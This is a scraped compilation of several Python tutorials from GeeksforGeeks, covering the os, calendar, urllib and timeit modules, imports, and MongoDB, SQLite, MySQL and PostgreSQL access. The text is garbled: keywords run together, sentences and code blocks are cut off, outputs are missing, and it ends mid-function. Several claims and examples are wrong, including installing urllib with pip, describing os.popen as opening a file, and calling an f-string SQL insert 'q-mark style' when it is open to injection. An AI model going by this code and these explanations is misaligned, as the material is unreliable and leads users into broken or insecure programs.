current_path()
Output:
Current working directory before
C:\Users\Nikhil Aggarwal\Desktop\gfg
Current working directory after
C:\Users\Nikhil Aggarwal\Desktop
Creating a Directory
There are different methods available in the OS module for creating a directory. These are –
os.mkdir()
os.makedirs()
Using os.mkdir()
os.mkdir() method in Python is used to create a directory named path with the specified numeric mode. This method raises FileExistsError if the directory to be created already exists.
Example:
Python3
# Python program to explain os.mkdir() method
# importing os module
importos
# Directory
directory ="GeeksforGeeks"
# Parent Directory path
parent_dir ="D:/Pycharm projects/"
# Path
path =os.path.join(parent_dir, directory)
# Create the directory
# 'GeeksForGeeks' in
# '/home / User / Documents'
os.mkdir(path)
print("Directory '% s' created"%directory)
# Directory
directory ="Geeks"
# Parent Directory path
parent_dir ="D:/Pycharm projects"
# mode
mode =0o666
# Path
path =os.path.join(parent_dir, directory)
# Create the directory
# 'GeeksForGeeks' in
# '/home / User / Documents'
# with mode 0o666
os.mkdir(path, mode)
print("Directory '% s' created"%directory)
Output:
Directory 'GeeksforGeeks' created
Directory 'Geeks' created
Using os.makedirs()
os.makedirs() method in Python is used to create a directory recursively. That means while making leaf directory if any intermediate-level directory is missing, os.makedirs() method will create them all.
os.listdir() method in Python is used to get the list of all files and directories in the specified directory. If we don’t specify any directory, then the list of files and directories in the current working directory will be returned.
OS module proves different methods for removing directories and files in Python. These are –
Using os.remove()
Using os.rmdir()
Using os.remove()
os.remove() method in Python is used to remove or delete a file path. This method can not remove or delete a directory. If the specified path is a directory then OSError will be raised by the method.
Example: Suppose the file contained in the folder are:
os.rmdir() method in Python is used to remove or delete an empty directory. OSError will be raised if the specified path is not an empty directory.
Example: Suppose the directories are
Python3
# Python program to explain os.rmdir() method
# importing os module
importos
# Directory name
directory ="Geeks"
# Parent Directory
parent ="D:/Pycharm projects/"
# Path
path =os.path.join(parent, directory)
# Remove the Directory
# "Geeks"
os.rmdir(path)
Output:
Commonly Used Functions
1. os.name: This function gives the name of the operating system dependent module imported. The following names have currently been registered: ‘posix’, ‘nt’, ‘os2’, ‘ce’, ‘java’ and ‘riscos’.
Python3
importos
print(os.name)
Output:
posix
Note: It may give different output on different interpreters, such as ‘posix’ when you run the code here.
2. os.error: All functions in this module raise OSError in the case of invalid or inaccessible file names and paths, or other arguments that have the correct type, but are not accepted by the operating system. os.error is an alias for built-in OSError exception.
Python3
importos
try:
# If the file does not exist,
# then it would throw an IOError
filename ='GFG.txt'
f =open(filename, 'rU')
text =f.read()
f.close()
# Control jumps directly to here if
# any of the above lines throws IOError.
exceptIOError:
# print(os.error) will <class 'OSError'>
print('Problem reading: '+filename)
# In any case, the code then continues with
# the line after the try/except
Output:
Problem reading: GFG.txt
3. os.popen(): This method opens a pipe to or from command. The return value can be read or written depending on whether the mode is ‘r’ or ‘w’. Syntax:
os.popen(command[, mode[, bufsize]])
Parameters mode & bufsize are not necessary parameters, if not provided, default ‘r’ is taken for mode.
Python3
importos
fd ="GFG.txt"
# popen() is similar to open()
file=open(fd, 'w')
file.write("Hello")
file.close()
file=open(fd, 'r')
text =file.read()
print(text)
# popen() provides a pipe/gateway and accesses the file directly
file=os.popen(fd, 'w')
file.write("Hello")
# File not closed, shown in next function.
Output:
Hello
Note: Output for popen() will not be shown, there would be direct changes into the file.
4. os.close(): Close file descriptor fd. A file opened using open(), can be closed by close()only. But file opened through os.popen(), can be closed with close() or os.close(). If we try closing a file opened with open(), using os.close(), Python would throw TypeError.
Python3
importos
fd ="GFG.txt"
file=open(fd, 'r')
text =file.read()
print(text)
os.close(file)
Output:
Traceback (most recent call last):
File "C:\Users\GFG\Desktop\GeeksForGeeksOSFile.py", line 6, in
os.close(file)
TypeError: an integer is required (got type _io.TextIOWrapper)
Note: The same error may not be thrown, due to the non-existent file or permission privilege.
5. os.rename(): A file old.txt can be renamed to new.txt, using the function os.rename(). The name of the file changes only if, the file exists and the user has sufficient privilege permission to change the file.
Python
importos
fd ="GFG.txt"
os.rename(fd,'New.txt')
os.rename(fd,'New.txt')
Output:
Traceback (most recent call last):
File "C:\Users\GFG\Desktop\ModuleOS\GeeksForGeeksOSFile.py", line 3, in
os.rename(fd,'New.txt')
FileNotFoundError: [WinError 2] The system cannot find the
file specified: 'GFG.txt' -> 'New.txt'
Understanding the Output: A file name “GFG.txt” exists, thus when os.rename() is used the first time, the file gets renamed. Upon calling the function os.rename() second time, file “New.txt” exists and not “GFG.txt” thus Python throws FileNotFoundError.
6. os.remove(): Using the Os module we can remove a file in our system using the remove() method. To remove a file we need to pass the name of the file as a parameter.
Python3
importos #importing os module.
os.remove("file_name.txt") #removing the file.
The OS module provides us a layer of abstraction between us and the operating system. When we are working with osmodule always specify the absolute path depending upon the operating system the code can run on any os but we need to change the path exactly. If you try to remove a file that does not exist you will get FileNotFoudError.
7. os.path.exists(): This method will check whether a file exists or not by passing the name of the file as a parameter. OS module has a sub-module named PATH by using which we can perform many more functions.
Python3
importos
#importing os module
result =os.path.exists("file_name") #giving the name of the file as a parameter.
print(result)
Output
False
As in the above code, the file does not exist it will give output False. If the file exists it will give us output True.
8. os.path.getsize(): In this method, python will give us the size of the file in bytes. To use this method we need to pass the name of the file as a parameter.
Python3
importos #importing os module
size =os.path.getsize("filename")
print("Size of the file is", size," bytes.")
Output:
Size of the file is 192 bytes.
This article is contributed by Piyush Doorwar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python defines an inbuilt module calendar that handles operations related to the calendar. The calendar module allows output calendars like the program and provides additional useful functions related to the calendar. Functions and classes defined in the Calendar module use an idealized calendar, the current Gregorian calendar extended indefinitely in both directions. By default, these calendars have Monday as the first day of the week, and Sunday as the last (the European convention). Example #1: Display the Calendar of a given month.
Python3
# Python program to display calendar of
# given month of the year
# import module
importcalendar
yy =2017
mm =11
# display the calendar
print(calendar.month(yy, mm))
Output:
Example #2: Display calendar of the given year.
Python3
# Python code to demonstrate the working of
# calendar() function to print calendar
# importing calendar module
# for calendar operations
importcalendar
# using calendar to print calendar of year
# prints calendar of 2018
print("The calendar of year 2018 is : ")
print(calendar.calendar(2018, 2, 1, 6))
Output:
class calendar.Calendar : The calendar class creates a Calendar object. A Calendar object provides several methods that can be used for preparing the calendar data for formatting. This class doesn’t do any formatting itself. This is the job of subclasses. Calendar class allows the calculations for various tasks based on date, month, and year. Calendar class provides the following methods:
Method is used to get an iterator for the month in the year similar to itermonthdates(). Days returned will be tuples consisting of a day of the month number and a week day number.
itermonthdays3()
Returns an iterator for the month in the year similar to itermonthdates(), but not restricted by the datetime.date range. Days returned will be tuples consisting of a year, a month and a day of the month numbers.
itermonthdays4()
Returns an iterator for the month in the year similar to itermonthdates(), but not restricted by the datetime.date range. Days returned will be tuples consisting of a year, a month, a day of the month, and a day of the week numbers.
Used to get the data for specified year. Entries in the week lists are day numbers
class calendar.TextCalendar : TextCalendar class can be used to generate plain text calendars. TextCalendar class in Python allows you to edit the calendar and use it as per your requirement.
Method is used to print the calendar for an entire year as returned by formatmonth()
class calendar.HTMLCalendar : HTMLCalendar class can be used to generate HTML calendars. HTMLCalendar class in Python allows you to edit the calendar and use as per your requirement.
Urllib package is the URL handling module for python. It is used to fetch URLs (Uniform Resource Locators). It uses the urlopen function and is able to fetch URLs using a variety of different protocols.
Urllib is a package that collects several modules for working with URLs, such as:
urllib.request for opening and reading.
urllib.parse for parsing URLs
urllib.error for the exceptions raised
urllib.robotparser for parsing robot.txt files
If urllib is not present in your environment, execute the below code to install it.
pip install urllib
Let’s see these in details.
urllib.request
This module helps to define functions and classes to open URLs (mostly HTTP). One of the most simple ways to open such URLs is : urllib.request.urlopen(url) We can see this in an example:
This module helps to define functions to manipulate URLs and their components parts, to build or break them. It usually focuses on splitting a URL into small components; or joining different URL components into URL strings. We can see this from the below code:
Note:- The different components of a URL are separated and joined again. Try using some other URL for better understanding.
Different other functions of urllib.parse are :
Function
Use
urllib.parse.urlparse
Separates different components of URL
urllib.parse.urlunparse
Join different components of URL
urllib.parse.urlsplit
It is similar to urlparse() but doesn’t split the params
urllib.parse.urlunsplit
Combines the tuple element returned by urlsplit() to form URL
urllib.parse.urldeflag
If URL contains fragment, then it returns a URL removing the fragment.
urllib.error This module defines the classes for exception raised by urllib.request. Whenever there is an error in fetching a URL, this module helps in raising exceptions. The following are the exceptions raised :
URLError – It is raised for the errors in URLs, or errors while fetching the URL due to connectivity, and has a ‘reason’ property that tells a user the reason of error.
HTTPError – It is raised for the exotic HTTP errors, such as the authentication request errors. It is a subclass or URLError. Typical errors include ‘404’ (page not found), ‘403’ (request forbidden), and ‘401’ (authentication required).
We can see this in following examples :
# URL Error
importurllib.request
importurllib.parse
# trying to read the URL but with no internet connectivity
urllib.robotparser This module contains a single class, RobotFileParser. This class answers question about whether or not a particular user can fetch a URL that published robot.txt files. Robots.txt is a text file webmasters create to instruct web robots how to crawl pages on their website. The robot.txt file tells the web scraper about what parts of the server should not be accessed. For example :
# importing robot parser class
importurllib.robotparser as rb
bot =rb.RobotFileParser()
# checks where the website's robot.txt file reside
As you can see, the output is now well formatted and much more readable.
All we did was to import the pprint function of pprint module. And use pprint() function rather than the print function!
This blog is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
This article will introduce you to a method of measuring the execution time of your python code snippets. We will be using an in-built python library timeit. This module provides a simple way to find the execution time of small bits of Python code.
Why timeit?
Well, how about using a simple time module? Just save the time before and after the execution of code and subtract them! But this method is not precise as there might be a background process momentarily running which disrupts the code execution and you will get significant variations in the running time of small code snippets.
timeit runs your snippet of code millions of times (default value is 1000000) so that you get the statistically most relevant measurement of code execution time!
timeit is pretty simple to use and has a command-line interface as well as a callable one.
So now, let’s start exploring this handy library!
The module function timeit.timeit(stmt, setup, timer, number) accepts four arguments:
stmt which is the statement you want to measure; it defaults to ‘pass’.
setup which is the code that you run before running the stmt; it defaults to ‘pass’. We generally use this to import the required modules for our code.
timer which is a timeit.Timer object; it usually has a sensible default value so you don’t have to worry about it.
number which is the number of executions you’d like to run the stmt.
Where the timeit.timeit() function returns the number of seconds it took to execute the code.
Example 1 Let us see a basic example first.
Python3
# importing the required module
importtimeit
# code snippet to be executed only once
mysetup ="from math import sqrt"
# code snippet whose execution time is to be measured
mycode ='''
def example():
mylist = []
for x in range(100):
mylist.append(sqrt(x))
'''
# timeit statement
print(timeit.timeit(setup =mysetup,
stmt =mycode,
number =10000))
The output of above program will be the execution time(in seconds) for 10000 iterations of the code snippet passed to timeit.timeit() function. Note: Pay attention to the fact that the output is the execution time of number times iteration of the code snippet, not the single iteration. For a single iteration exec. time, divide the output time by number.
The program is pretty straight-forward. All we need to do is to pass the code as a string to the timeit.timeit() function.
It is advisable to keep the import statements and other static pieces of code in setup argument.
Example 2 Let’s see another practical example in which we will compare two searching techniques, namely, Binary search and Linear search. Also, here I demonstrate two more features, timeit.repeat function and calling the functions already defined in our program.
The output of above program will be the minimum value in the list times. This is how a sample output looks like:
strate below how you can utilize the command lin
timeit.repeat() function accepts one extra argument, repeat. The output will be a list of the execution times of all code runs repeated a specified no. of times.
In setup argument, we passed:
from __main__ import binary_search
from random import randint
This will import the definition of function binary_search, already defined in the program and random library function randint.
As expected, we notice that execution time of binary search is significantly lower than linear search!
Example 3 Finally, I demonstrate below how you can utilize the command line interface of timeit module:
Here I explain each term individually:
So, this was a brief yet concise introduction to timeit module and its practical applications. Its a pretty handy tool for python programmers when they need a quick glance of the execution time of their code snippets.
This article is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Import in python is similar to #include header_file in C/C++. Python modules can get access to code from another module by importing the file/function using import. The import statement is the most common way of invoking the import machinery, but it is not the only way.
import module_name When the import is used, it searches for the module initially in the local scope by calling __import__() function. The value returned by the function is then reflected in the output of the initial code.
PYTHON
importmath
print(math.pi)
Output:
3.141592653589793
import module_name.member_name In the above code module, math is imported, and its variables can be accessed by considering it to be a class and pi as its object. The value of pi is returned by __import__(). pi as a whole can be imported into our initial code, rather than importing the whole module.
PYTHON
frommath importpi
# Note that in the above example,
# we used math.pi. Here we have used
# pi directly.
print(pi)
Output:
3.141592653589793
from module_name import * In the above code module, math is not imported, rather just pi has been imported as a variable. All the functions and constants can be imported using *.
PYTHON
frommath import*
print(pi)
print(factorial(6))
Output:
3.141592653589793
720
As said above import uses __import__() to search for the module, and if not found, it would raise ImportError
PYTHON
importmathematics
print(mathematics.pi)
Output:
Traceback (most recent call last):
File "C:/Users/GFG/Tuples/xxx.py", line 1, in
import mathematics
ImportError: No module named 'mathematics'
This article is contributed by Piyush Doorwar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Prerequisite : MongoDB : An introduction MongoDB is a cross-platform, document-oriented database that works on the concept of collections and documents. MongoDB offers high speed, high availability, and high scalability. The next question which arises in the mind of the people is “Why MongoDB”? Reasons to opt for MongoDB :
It supports hierarchical data structure (Please refer docs for details)
It supports associate arrays like Dictionaries in Python.
Built-in Python drivers to connect python-application with Database. Example- PyMongo
First start MongoDB from command prompt using : Method 1:
mongod
or Method 2:
net start MongoDB
See port number by default is set 27017 (last line in above image). Python has a native library for MongoDB. The name of the available library is “PyMongo”. To import this, execute the following command:
frompymongo importMongoClient
Create a connection : The very first after importing the module is to create a MongoClient.
frompymongo importMongoClient
client =MongoClient()
After this, connect to the default host and port. Connection to the host and port is done explicitly. The following command is used to connect the MongoClient on the localhost which runs on port number 27017.
client =MongoClient(‘host’, port_number)
example:-client =MongoClient(‘localhost’, 27017)
It can also be done using the following command:
client =MongoClient(“mongodb://localhost:27017/”)
Access DataBase Objects : To create a database or switch to an existing database we use: Method 1 : Dictionary-style
mydatabase =client[‘name_of_the_database’]
Method2 :
mydatabase =client.name_of_the_database
If there is no previously created database with this name, MongoDB will implicitly create one for the user. Note : The name of the database fill won’t tolerate any dash (-) used in it. The names like my-Table will raise an error. So, underscore are permitted to use in the name.
Accessing the Collection : Collections are equivalent to Tables in RDBMS. We access a collection in PyMongo in the same way as we access the Tables in the RDBMS. To access the table, say table name “myTable” of the database, say “mydatabase”. Method 1:
mycollection =mydatabase[‘myTable’]
Method 2 :
mycollection =mydatabase.myTable
>MongoDB store the database in the form of dictionaries as shown:>
record = {
title: 'MongoDB and Python',
description: 'MongoDB is no SQL database',
tags: ['mongodb', 'database', 'NoSQL'],
viewers: 104
}
‘_id’ is the special key which get automatically added if the programmer forgets to add explicitly. _id is the 12 bytes hexadecimal number which assures the uniqueness of every inserted document.
Insert the data inside a collection : Methods used:
insert_one() or insert_many()
We normally use insert_one() method document into our collections. Say, we wish to enter the data named as record into the ’myTable’ of ‘mydatabase’.
rec =myTable.insert_one(record)
The whole code looks likes this when needs to be implemented.
# importing module
frompymongo importMongoClient
# creation of MongoClient
client=MongoClient()
# Connect with the portnumber and host
client =MongoClient(“mongodb://localhost:27017/”)
# Access database
mydatabase =client[‘name_of_the_database’]
# Access collection of the database
mycollection=mydatabase[‘myTable’]
# dictionary to be added in the database
rec={
title: 'MongoDB and Python',
description: 'MongoDB is no SQL database',
tags: ['mongodb', 'database', 'NoSQL'],
viewers: 104
}
# inserting the data in the database
rec =mydatabase.myTable.insert(record)
Querying in MongoDB : There are certain query functions which are used to filter the data in the database. The two most commonly used functions are:
find() find() is used to get more than one single document as a result of query.
fori inmydatabase.myTable.find({title: 'MongoDB and Python'})
print(i)
This will output all the documents in the myTable of mydatabase whose title is ‘MongoDB and Python’.
count() count() is used to get the numbers of documents with the name as passed int he parameters.
print(mydatabase.myTable.count({title: 'MongoDB and Python'}))
This will output the numbers of documents in the myTable of mydatabase whose title is ‘MongoDB and Python’.
These two query functions can be summed to give a give the most filtered result as shown below.
print(mydatabase.myTable.find({title: 'MongoDB and Python'}).count())
To print all the documents/entries inside ‘myTable’ of database ‘mydatabase’ : Use the following code:
frompymongo importMongoClient
try:
conn =MongoClient()
print("Connected successfully!!!")
except:
print("Could not connect to MongoDB")
# database name: mydatabase
db =conn.mydatabase
# Created or Switched to collection names: myTable
collection =db.myTable
# To find() all the entries inside collection name 'myTable'
If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
In this article, integrating SQLite3 with Python is discussed. Here we will discuss all the CRUD operations on the SQLite3 database using Python. CRUD contains four major operations –
Here, we are going to connect SQLite with Python. Python has a native library for SQLite3 called sqlite3. Let us explain how it works.
Connecting to SQLite Database
To use SQLite, we must import sqlite3.
import sqlite3
Then create a connection using connect() method and pass the name of the database you want to access if there is a file with that name, it will open that file. Otherwise, Python will create a file with the given name.
sqliteConnection = sqlite3.connect('gfg.db')
After this, a cursor object is called to be capable to send commands to the SQL.
cursor = sqliteConnection.cursor()
Example: Connecting to SQLite3 database using Python
Python3
importsqlite3
# connecting to the database
connection =sqlite3.connect("gfg.db")
# cursor
crsr =connection.cursor()
# print statement will execute if there
# are no errors
print("Connected to the database")
# close the connection
connection.close()
Output:
Connected to the database
Cursor Object
Before moving further to SQLite3 and Python let’s discuss the cursor object in brief.
The cursor object is used to make the connection for executing SQL queries.
It acts as middleware between SQLite database connection and SQL query. It is created after giving connection to SQLite database.
The cursor is a control structure used to traverse and fetch the records of the database.
All the commands will be executed using cursor object only.
Executing SQLite3 Queries – Creating Tables
After connecting to the database and creating the cursor object let’s see how to execute the queries.
To execute a query in the database, create an object and write the SQL command in it with being commented. Example:- sql_comm = ”SQL statement”
And executing the command is very easy. Call the cursor method execute() and pass the name of the sql command as a parameter in it. Save a number of commands as the sql_comm and execute them. After you perform all your activities, save the changes in the file by committing those changes and then lose the connection.
date =['2019-08-24', '2020-01-01', '2018-05-14', '2015-02-02', '2018-05-14']
fori inrange(5):
# This is the q-mark style:
crsr.execute(f'INSERT INTO emp VALUES ({pk[i]}, "{f_name[i]}", "{l_name[i]}", "{gender[i]}", "{date[i]}")')
# To save the changes in the files. Never skip this.
# If we skip this, nothing will be saved in the database.
connection.commit()
# close the connection
connection.close()
Output:
Fetching Data
In this section, we have discussed how to create a table and how to add new rows in the database. Fetching the datafrom records is simple as inserting them. The execute method uses the SQL command of getting all the data from the table using “Select * from table_name” and all the table data can be fetched in an object in the form of a list of lists.
Example: Reading Data from sqlite3 table using Python
Python
# importing the module
importsqlite3
# connect withe the myTable database
connection =sqlite3.connect("gfg.db")
# cursor object
crsr =connection.cursor()
# execute the command to fetch all the data from the table emp
crsr.execute("SELECT * FROM emp")
# store all the fetched data in the ans variable
ans =crsr.fetchall()
# Since we have already selected all the data entries
# using the "SELECT *" SQL command and stored them in
# the ans variable, all we need to do now is to print
# out the ans variable
fori inans:
print(i)
Output:
Note: It should be noted that the database file that will be created will be in the same folder as that of the python file. If we wish to change the path of the file, change the path while opening the file.
Updating Data
For updating the data in the SQLite3 table we will use the UPDATE statement. We can update single columns as well as multiple columns using the UPDATE statement as per our requirement.
UPDATE table_name SET column1 = value1, column2 = value2,…
WHERE condition;
In the above syntax, the SET statement is used to set new values to the particular column, and the WHERE clause is used to select the rows for which the columns are needed to be updated.
Example: Updating SQLite3 table using Python
Python3
# Import module
importsqlite3
# Connecting to sqlite
conn =sqlite3.connect('gfg.db')
# Creating a cursor object using
# the cursor() method
cursor =conn.cursor()
# Updating
cursor.execute('''UPDATE emp SET lname = "Jyoti" WHERE fname="Rishabh";''')
# Commit your changes in the database
conn.commit()
# Closing the connection
conn.close()
Output:
Deleting Data
For deleting the data from the SQLite3 table we can use the delete command.
DELETE FROM table_name [WHERE Clause]
Example: Deleting from SQLite3 table using Python
Python3
# Import module
importsqlite3
# Connecting to sqlite
conn =sqlite3.connect('gfg.db')
# Creating a cursor object using
# the cursor() method
cursor =conn.cursor()
# Updating
cursor.execute('''DELETE FROM emp WHERE fname="Rishabh";''')
# Commit your changes in the database
conn.commit()
# Closing the connection
conn.close()
Output:
Deleting Table
DROP is used to delete the entire database or a table. It deleted both records in the table along with the table structure.
Syntax:
DROP TABLE TABLE_NAME;
Example: Drop SQLite3 table using Python
Total tables in the gfg.db before dropping
Now let’s drop the Student table and then again check the total table in our database.
Python3
# Import module
importsqlite3
# Connecting to sqlite
conn =sqlite3.connect('gfg.db')
# Creating a cursor object using
# the cursor() method
cursor =conn.cursor()
# Updating
cursor.execute('''DROP TABLE Student;''')
# Commit your changes in the database
conn.commit()
# Closing the connection
conn.close()
Output:
Note: To learn more about SQLit3 with Python refer to our Python SQLite3 Tutorial.
This article is contributed by Rishabh Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Databases offer numerous functionalities by which one can manage large amounts of information easily over the web, and high-volume data input and output over a typical file such as a text file. SQL is a query language and is very popular in databases. Many websites use MySQL. SQLite is a “light” version that works over syntax very much similar to SQL.
SQLite is a self-contained, high-reliability, embedded, full-featured, public-domain, SQL database engine. It is the most used database engine in the world wide web. Python has a library to access SQLite databases, called sqlite3, intended for working with this database which has been included with Python package since version 2.5.
In this article we will discuss, how to query database using commands like Update and Delete and also to visualize data via graphs. It is recommended to go through SQL using Python | Set 1
Updation and Deletion Operation
# code for update operation
importsqlite3
# database name to be passed as parameter
conn =sqlite3.connect('mydatabase.db')
# update the student record
conn.execute("UPDATE Student SET name = 'Sam' where unix='B113059'")
conn.commit()
print"Total number of rows updated :", conn.total_changes
cursor =conn.execute("SELECT * FROM Student")
forrow incursor:
printrow,
conn.close()
Output:
Total number of rows updated : 1
(u'B113053', u'Geek', u'2017-01-11 13:53:39', 21.0),
(u'B113058', u'Saan', u'2017-01-11 13:53:39', 21.0),
(u'B113059', u'Sam', u'2017-01-11 13:53:39', 22.0)
# code for delete operation
importsqlite3
# database name to be passed as parameter
conn =sqlite3.connect('mydatabase.db')
# delete student record from database
conn.execute("DELETE from Student where unix='B113058'")
conn.commit()
print"Total number of rows deleted :", conn.total_changes
cursor =conn.execute("SELECT * FROM Student")
forrow incursor:
printrow,
conn.close()
Output:
Total number of rows deleted : 1
(u'B113053', u'Geek', u'2017-01-11 13:53:39', 21.0),
(u'B113059', u'Sam', u'2017-01-11 13:53:39', 22.0)
Data input by User
# code for executing query using input data
importsqlite3
# creates a database in RAM
con =sqlite3.connect(":memory:")
cur =con.cursor()
cur.execute("create table person (name, age, id)")
print("Enter 5 students names:")
who =[raw_input() fori inrange(5)]
print("Enter their ages respectively:")
age =[int(raw_input()) fori inrange(5)]
print("Enter their ids respectively:")
p_id =[int(raw_input()) fori inrange(5)]
n =len(who)
fori inrange(n):
# This is the q-mark style:
cur.execute("insert into person values (?, ?, ?)", (who[i], age[i], p_id[i]))
In the previous articles the records of the database were limited to small size and single tuple. This article will explain how to write & fetch large data from the database using module SQLite3 covering all exceptions. A simple way is to execute the query and use fetchall(). This has been already discussed in SET 1.
executescript() This is a convenience method for executing multiple SQL statements at once. It executes the SQL script it gets as a parameter.
Note: This piece of code may not work on online interpreters, due to permission privileges to create/write database.
executemany() It is often the case when, large amount of data has to be inserted into database from Data Files(for simpler case take Lists, arrays). It would be simple to iterate the code many a times than write every time, each line into database. But the use of loop would not be suitable in this case, the below example shows why. Syntax and use of executemany() is explained below and how it can be used like a loop.
importsqlite3
# Connection with the DataBase
# 'library.db'
connection =sqlite3.connect("library.db")
cursor =connection.cursor()
# SQL piece of code Executed
cursor.execute("""
CREATE TABLE book(
title,
author,
published);""")
List=[('A', 'B', 2008), ('C', 'D', 2008),
('E', 'F', 2010)]
connection. executemany("""
INSERT INTO
book(title, author, published)
VALUES (?, ?, ?)""", List)
sql ="""
SELECT * FROM book;"""
cursor.execute(sql)
result =cursor.fetchall()
forx inresult:
print(x)
# Changes saved into database
connection.commit()
# Connection closed(broken)
# with DataBase
connection.close()
Output:
Traceback (most recent call last):
File "C:/Users/GFG/Desktop/SQLITE3.py", line 16, in
List[2][3] =[['A', 'B', 2008], ['C', 'D', 2008], ['E', 'F', 2010]]
NameError: name 'List' is not defined
The use of executemany(), can make the piece of code functional.
In this article, we will see how one can insert the user data using variables. Here, we are using the sqlite module to work on a database but before that, we need to import that package.
import sqlite3
To see the operation on a database level just download the SQLite browser database. Note: For the demonstration, we have used certain values but you can take input instead of those sample values. Steps to create and Insert variables in database Code #1: Create the database
Python3
conn =sqlite3.connect('pythonDB.db')
c =conn.cursor()
Explanation: We have initialised the database pythonDB.py. This instruction will create the database if the database doesn’t exist. If the database having the same name as defined exist than it will move further. In the second statement, we use a method of sqlite3 named cursor(), this help you to initiate the database as active. Cursors are created by the connection cursor() method, they are bound to the connection for the entire lifetime and all the commands are executed in the context of the database session wrapped by the connection.
Code #2: Create table
Python3
defcreate_table():
c.execute('CREATE TABLE IF NOT EXISTS RecordONE (Number REAL, Name TEXT)')
Explanation: We have created a function create_table. This will help you to create table if not exist, as written in the query for SQLite database. As we have initiated the table name by RecordONE. After that we pass as many parameters as we want, we just need to give an attribute name along with its type, here, we use REAL and Text.
Code #3: Inserting into table
Python3
defdata_entry():
number =1234
name ="GeeksforGeeks"
c.execute("INSERT INTO RecordONE (Number, Name) VALUES(?, ?)",
(number, name))
conn.commit()
Explanation: Another function called data_entry. We are trying to add the values into the database with the help of user input or by variables. We use the execute() method to execute the query. Then use the commit() method to save the changes you have done above.
Code #4: Method calling and Close the connection.
Python3
create_table()
data_entry()
c.close()
conn.close()
Explanation: We normally use the method call, also remember to close the connection and database for the next use if we want to write error-free code because without closing we can’t open the connection again. Let’s see the complete example now. Example:
Python3
importsqlite3
conn =sqlite3.connect('pythonDB.db')
c =conn.cursor()
defcreate_table():
c.execute('CREATE TABLE IF NOT EXISTS RecordONE (Number REAL, Name TEXT)')
defdata_entry():
number =1234
name ="GeeksforGeeks"
c.execute("INSERT INTO RecordONE (Number, Name) VALUES(?, ?)", (number, name))
conn.commit()
create_table()
data_entry()
c.close()
conn.close()
Output:
Inserting one more value using data_entry() method.
Python3
defdata_entry():
number =4321
name ="Author"
c.execute("INSERT INTO RecordONE (Number, Name) VALUES(?, ?)", (number, name))
In this article, I have discussed how to connect to MySQL database remotely using python. For any application, it is very important to store the database on a server for easy data access. It is quite complicated to connect to the database remotely because every service provider doesn’t provide remote access to the MySQL database. Here I am using python’s MySQLdb module for connecting to our database which is at any server that provides remote access.
What is MYSQLdb?
MySQLdb is an interface for connecting to a MySQL database server from Python. It implements the Python Database API v2.0 and is built on top of the MySQL C API.
PostgreSQL is an open source object-relational database management system. It is well known for its reliability, robustness, and performance. PostgreSQL has a variety of libraries of API (Application programmable interface) that are available for a variety of popular programming languages such as Python. It provides a lot of features for Database management such as Views, Triggers, Indexes (using B-Trees), etc.
There are several python modules that allow us to connect to and manipulate the database using PostgreSQL:
Psycopg2
pg8000
py-postgresql
PyGreSQL
Psycopg2 is one of the most popular python drivers for PostgreSQL. It is actively maintained and provides support for different versions of python. It also provides support for Threads and can be used in multithreaded applications. For these reasons, it is a popular choice for developers.
In this article, we shall explore the features of PostgreSQl using psycopg2 by building a simple database management system in python.
Installation:
sudo pip3 install psycopg2
Note: if you are using Python2, use pip install instead of pip3
Once psycopg has been installed in your system, we can connect to the database and execute queries in Python.
Creating the database
before we can access the database in python, we need to create the database in postgresql. To create the database, follow the steps given below:
Log in to PostgreSQL:
sudo -u postgres psql
Configure the password:
\password
You will then be prompted to enter the password. remember this as we will use it to connect to the database in Python.
Create a database called “test”. we will connect to this database.
CREATE DATABASE test;
Once the database and password have been configured, exit the psql server.
Connecting to the database
The connect() method is used to establish connection with the database. It takes 5 parameters:
database: The name of the database you are connecting to
user: the username of your local system
password: the password to log in to psql
host: The host, which is set to localhost by default
port: The port number which is 5432 by default
conn = psycopg2.connect(
database="test",
user = "adith",
password = "password",
host = "localhost",
port = "5432")
Once the connection has been established, we can manipulate the database in python.
The Cursor object is used to execute sql queries. we can create a cursor object using the connecting object (conn)
cur = conn.cursor()
Using this object, we can make changes to the database that we are connected to.
After you have executed all the queries, we need to disconnect from the connection. Not disconnecting will not cause any errors but it is generally considered a good practice to disconnect.
conn.close()
Executing queries
The execute() method takes in one parameter, the SQL query to be executed. The SQL query is taken in the form of a string that contains the SQL statement.
cur.execute("SELECT * FROM emp")
Fetching the data
Once the query has been executed, the results of the query can be obtained using the fetchall() method. This method takes no parameters and returns the result of select queries.
res = cur.fetchall()
The result of the query is stored in the res variable.
Putting it all together
Once we have created the database in PostgreSQL, we can access that database in python. We first create an emp table in the database called test with the schema: (id INTEGER PRIMARY KEY, name VARCHAR(10), salary INT, dept INT). Once the table is created without any errors, we insert values into the table. Once the values are inserted, we can query the table to select all the rows and display them to the user using the fetchall() function.
# importing libraries
importpsycopg2
# a function to connect to
# the database.
defconnect():
# connecting to the database called test
# using the connect function
try:
conn =psycopg2.connect(database ="test",
user ="adith",
password ="password",
host ="localhost",
port ="5432")
# creating the cursor object
cur =conn.cursor()
except(Exception, psycopg2.DatabaseError) as error:
print("Error while creating PostgreSQL table", error)
# returing the conn and cur
# objects to be used later
returnconn, cur
# a function to create the
# emp table.
defcreate_table():
